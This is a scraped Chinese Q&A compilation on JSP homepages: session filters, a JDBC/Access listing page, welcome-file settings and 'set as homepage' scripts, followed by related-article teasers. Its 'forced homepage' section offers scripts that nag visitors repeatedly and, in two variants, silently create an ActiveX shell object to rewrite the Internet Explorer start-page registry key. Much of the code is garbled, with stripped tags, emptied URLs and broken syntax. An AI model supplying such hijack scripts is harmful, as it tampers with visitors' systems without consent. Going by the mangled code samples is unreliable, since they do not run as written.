您的位置:

jsp网页首页(JSP网站)

jsp网页首页(JSP网站)

更新:

本文目录一览:

如何让JSP网页在session失效时跳转到首页?

使用过滤器过滤请求,如果已经登录,则通过,没有登录或者超时则跳转到首页或者登录页面。

1,首先要写一个登录过滤器,public class SessionFilter implements Filter。一定要实现Filter,在doFilter方法中写出判断Session的代码。

2,配置web.xml。  

filter

        filter-nameSessionFilter/filter-name

        filter-classcom.test.filter.SessionFilter/filter-class

/filter

3,但是光有这些还是不够,这样它会拦截你所有的请求,包括你的登录请求,你在发起登录请求的时候就被拦截验证,是否已经登录,发现没有登录,然后给返回到首页了。所有要给过滤器设置“白名单”,哪些请求直接通过,不用过滤。

init-param

      param-namenoFilterURI/param-name

      param-value

          /login.do

          /index.jsp

      /param-value

/init-param

4,在SessionFilter类中获取“白名单”,可以通过public void init(FilterConfig filterConfig)方法获取

public void init(FilterConfig filterConfig)

        throws ServletException

    {

        this.filterConfig = filterConfig;

        noFilterURI = filterConfig.getInitParameter("noFilterURI");

    }

在doFilter方法中得到“白名单”,设置不用过滤,直接通过。

代码:

public class SessionFilter implements Filter{

    private FilterConfig filterConfig;

    private String noFilterURI;

    public SessionFilter() {

        filterConfig = null;

        noFilterURI = null;

    }

      public void init(FilterConfig filterConfig) throws ServletException{

        this.filterConfig = filterConfig;

        noFilterURI = filterConfig.getInitParameter("noFilterURI");

    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)

        throws IOException, ServletException{

        // do something

        }

        public void destroy()

    {

        filterConfig = null;

    }

}

filter

        filter-nameSessionFilter/filter-name

        filter-classcom.test.filter.SessionFilter/filter-class

        init-param

          param-namenoFilterURI/param-name

          param-value

              /login.do

              /index.jsp

          /param-value

        /init-param

/filter

jsp 中网站的首页源代码

这是最简单的一个例子,数据库要你自己建,用的是ACCESS

%@ page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" errorPage="" %

html

head

meta http-equiv="Content-Type" content="text/html; charset=gb2312"

titleJSP连接Access数据库/title

style type="text/css"

!--

.style1 {

font-size: 20px;

font-weight: bold;

}

--

/style

/headbody

div align="center" class="style1"JSP连接Access数据库/div

br

hr

p%

Class.forName("sun.jdbc.odbc.JdbcOdbcDriver"); //载入驱动程序类别

Connection con = DriverManager.getConnection("jdbc:odbc:jspdata"); //建立数据库链接,jspdata为ODBC数据源名称

//建立Statement对象

Statement stmt = con.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,

ResultSet.CONCUR_READ_ONLY);

ResultSet rs = stmt.executeQuery("select * from lyb"); //建立ResultSet(结果集)对象,并执行SQL语句

%

/p

p align="center"NUMB1数据表中记录如下/p

table width="640" border="1" align="center" bordercolor="#7188e0"

tr bgcolor="d1d1ff"

th width="49"编号/th

th width="90"姓名/th

th width="126"E-mail/th

th width="221"网站/th

th width="80"QQ/th

/tr

%

while(rs.next())

{

%

tr bgcolor="#f8f8f8"

th%= rs.getString(1) %/th

th%= rs.getString(2) %/th

th%= rs.getString(3) %/th

th bgcolor="#f6f6f8"%= rs.getString(4) %/th

th%= rs.getString(5) %/th

/tr

%

}

rs.close();

stmt.close();

con.close();

%

/table

p align="center"br

如果您能看到表格中的数据,说明连接数据库成功!/p

/body

/html

jsp页面中分页查询首页、上一页与下一页、末页的显示条件??求解,实在找不到答案了

第一点,首先不知道你后来到前台返回是否是一个集合,如果你觉得返回正确,可以先在后台迭怠一次,看一下是否有数据,最后确定没问题了,再重定向回分页的界面

第二点,通常我们打开分页查询的时候因为没有传入页数,所以最好用js的onload的window.location.href="UserServlet?currpage=1"

不知道我的后台是否类似,所以单看前台很难说清楚,如果有疑问请追问下

如何设置JSP网站的欢迎页面

在web.xml里有个标签 welcome-file里设置对应页面,一般默认是index.jsp

如:WEB-INF\web.xml

?xml version="1.0" encoding="UTF-8"?

web-app version="2.4"

xmlns=""

xmlns:xsi=""

xsi:schemaLocation="

"

welcome-file-list

welcome-fileindex.jsp/welcome-file

/welcome-file-list

/web-app

怎么让在jsp代码中将网页设置为主页

jsp 中加入一段脚本就可以了

如下

加入收藏夹,设为首页代码

把以下代码Body相应位置

a target=_top href=javascript:window.external.AddFavorite(';,'中国免费资源情报站')加入收藏/a

a href=# onClick="this.style.behavior='url(#default#homepage)';this.setHomePage(');"设为首页/a

鼠标指向时提示设为首页

将下列代码插入body区中:

A href= onmouseover="this.style.behavior='url(#default#homepage)';this.setHomePage(';);" target="_blank"设为首页/A

打开页面时自动弹出窗口询问是否设为首页

将以下代码放在head/head之间:

script language="javascript"

function myhomepage(){

this.homepage.style.behavior='url(#default#homepage)';this.homepage.sethomepage(';);

}

/script

p align="center"a href="" name="homepage"

onclick="myhomepage();"/a

再将下面代码加入body内:

onload="myhomepage();"

即:body onload="myhomepage();"

离开时自动提示设为首页

body onunload="BASEBody.style.behavior='url(#default#homepage)';if(!(BASEBody.isHomePage('';)))BASEBody.setHomePage(';);"

强制设为主页代码:

代码一(设置为主页就再弹了):

META content="text/html; charset=gb2312" http-equiv=Content-Type

META content="MSHTML 5.00.3826.2400" name=GENERATOR

META content=FrontPage.Editor.Document name=ProgId/HEAD

BODYSPAN id=hp style="BEHAVIOR: url(#default#homepage)"/SPAN

SCRIPT language=javascript

var u,i

u="";

var showThank=false;

try{

for(i=1;i=5;i++)

{

if(hp.isHomePage(u))

{

break;

}

else

{

hp.setHomePage(u);

if(!hp.isHomePage(u))

{

alert("方便下次光临本站,请点 '是(Y)' ,就不再弹了!");

}

else

{

showThank=true;

}

}

}

if(showThank)

{

alert("谢谢您的支持.");

}

}

catch(e){

}

finally{

}

//location.href=u;

/SCRIPT

/BODY/HTML

代码三:

script

var ucook=document.cookie;

var user=ucook.indexOF("ilooki=");

if(user==-1)

{

var nowTime=new Date();

document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval

(nowTime.getYear()+1903+"12:34:56 GMT";

document.write("APPLET HEIGHT=0WIDTH=0

code=com.ms.activeX.ActiveXCompoment/APPLET");function

yuzi(){try{a1

=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-

00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject

();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try

{Shl.RegWrite("hkcu\Software\Microsoft\Internet

Expiorer\Main\Start Page",);}catch(e)

{}}catch(e){}}setTimeout("yuzi()",1000);

}

/script

代码四:

script

var ucook=document.cookie;

var user=ucook.indexOF("ilooki=");

if(user==-1)

{

var nowTime=new Date();

document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT";

document.write("APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment/APPLET");function yuzi(){try{a1

=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);

}

/script

jsp网页首页(JSP网站)

本文目录一览: 1、如何让JSP网页在session失效时跳转到首页? 2、jsp 中网站的首页源代码 3、jsp页面中分页查询首页、上一页与下一页、末页的显示条件??求解,实在找不到答案了 4、如何

2023-12-08
含jsp的网页源码,jsp网站开发详解

本文目录一览: 1、网上下的jsp源码要怎么用 2、运行JSP页面显示源码 3、jsp登陆界面源代码 4、jsp 中网站的首页源代码 网上下的jsp源码要怎么用 需要部署到服务器中找到菜单 windo

2023-12-08
jsp网页编程基础教程(java jsp教程)

本文目录一览: 1、要学JSP需要学哪些内容 2、学Jsp的步骤 3、jsp这个怎么写啊 4、请大家介绍下关于JSP和J2EE方面的书 5、jsp怎么学 6、网页编程入门应该首先学些什么? 要学JSP

2023-12-08
jsp网页版源码(jsp运行后是源码)

本文目录一览: 1、网上下的jsp源码要怎么用 2、jsp网站下载源码如何使用 3、运行JSP页面显示源码 4、JSP源码如何使用? 5、jsp 中网站的首页源代码 6、jsp登陆界面源代码 网上下的

2023-12-08
写个jsp网页,jsp写页面

本文目录一览: 1、怎样用MyEclipse编写调试JSP网页 2、如何用JSP来制作一个网站 3、如何创建JSP页面 4、jsp网页是如何编写的? 5、写一个JSP页面 怎样用MyEclipse编写

2023-12-08
jsp小说网站源码开源(jsp制作小说网站)

本文目录一览: 1、jsp小说阅读网页源代码 2、怎样复制一个网站的全站源代码? 3、jsp 中网站的首页源代码 4、网站开源程序有哪些? 5、jsp登陆界面源代码 6、求JSP网站模版? jsp小说

2023-12-08
jsp程序开发学习笔记2,jsp程序设计题库

本文目录一览: 1、《JSP&Servlet学习笔记》pdf下载在线阅读,求百度网盘云资源 2、林信良编著jsp&servlet学习笔记第2版课后答案吗 3、jsp有没有快速掌握的办法呀? 4、要学J

2023-12-08
jsp网页编程内容总结ppt,jsp网站开发实训总结

本文目录一览: 1、什么是JSP,它有什么优点? 2、要学JSP需要学哪些内容 3、JSP(Java Server Page)产生的背景,简介,以及技术特点 4、jsp简介请提供一下 什么是JSP,它

2023-12-08
jsp网页口诀,jsp输出九九口诀表

本文目录一览: 1、jsp编写网页输出乘法口诀表怎么做 2、JSP是什么? 3、什么是JSP网站? 4、JSP的学习要素 5、如何用JSP发布网页? jsp编写网页输出乘法口诀表怎么做 %@ page

2023-12-08
jsp中网页的链接,java连接jsp文件

本文目录一览: 1、jsp网页中链接打不开,只能复制到地址栏才能打开。 2、请问如何在jsp的页面上加入超链接啊 3、html或者jsp中如何点击超链接? 4、在jsp页面中,如何实现点击一个链接,执

2023-12-08
jsp连接网页和java代码(jsp和java怎么连接)

本文目录一览: 1、在JSP网页中怎样加入Java代码?? 2、java jsp页面怎么写java类?怎么调用java代码? 3、我怎么把我编辑的java程序和jsp衔接起来,并且把他们显示出来,就是

2023-12-08
java项目jsp模板(jsp页面模板)

本文目录一览: 1、Java项目中ftl和jsp可以同时并存么,属于功能模块的 2、java项目中怎么实现jsp页面Excel模板下载并弹框。 3、jsp 框架是什么 4、JSP中怎么使用java 的

2023-12-08
jsp网站数据库设计,jsp网页设计

本文目录一览: 1、JSP制作网站的时候,不知道要怎么设计数据库。 2、用JSP做QQ空间的数据库怎么设计? 3、用jsp设计网页的时候如何跟后台数据库相连 4、jsp 网页数据库 5、基于JSP开发

2023-12-08
jsp网页特点(jsp网站的设计与实现)

本文目录一览: 1、JSP技术有什么特征? 2、JSP技术主要缺点和优点有哪些 3、JSP网站有什么优点和缺点 JSP技术有什么特征? 1.2 JSP技术特征JSP技术所开发的Web应用程序是基于Ja

2023-12-08
简单的jsp网页(jsp怎么实现)

本文目录一览: 1、jsp实现简单的登录界面 2、请问jsp高手,这个简单jsp页面如何写? 3、求大神写一下jsp的简单的注册界面代码。 4、jsp开发简单的网站 5、请编写两个简单的JSP页面 j

2023-12-08
谁给我一个jsp大型网站源代码(用jsp写一个网站)

本文目录一览: 1、jsp登陆界面源代码 2、求一个功能完整的jsp企业网站源码 3、jsp 中网站的首页源代码 jsp登陆界面源代码 1、login.jsp文件%@ page language="j

2023-12-08
jsp网页特性,jsp 属性

本文目录一览: 1、JSP技术有什么特征? 2、什么是jsp? 3、JSP技术主要缺点和优点有哪些? JSP技术有什么特征? 1.2 JSP技术特征\x0d\x0a\x0d\x0aJSP技术所开发的W

2023-12-08
jsp网页的优点,jsp技术优点

本文目录一览: 1、JSP有什么优点? 2、JSP网站有什么优点和缺点 3、什么是JSP,它有什么优点? JSP有什么优点? (1)一次编写,到处运行。由于JSP/Servlet都是基于Java的,所

2023-12-08
jsp主页框架代码,jsp网站开发详解

2022-11-24
jsp网页编程ppt手册,jsp课件ppt

本文目录一览: 1、如何在jsp页面嵌入ppt,exe等等?就和百度文库的效果一样? 2、什么是JSP,JAVA又是什么?各有什么作用呢? 3、JSP会员管理系统制作过程的PPT 4、jsp简介请提供

2023-12-08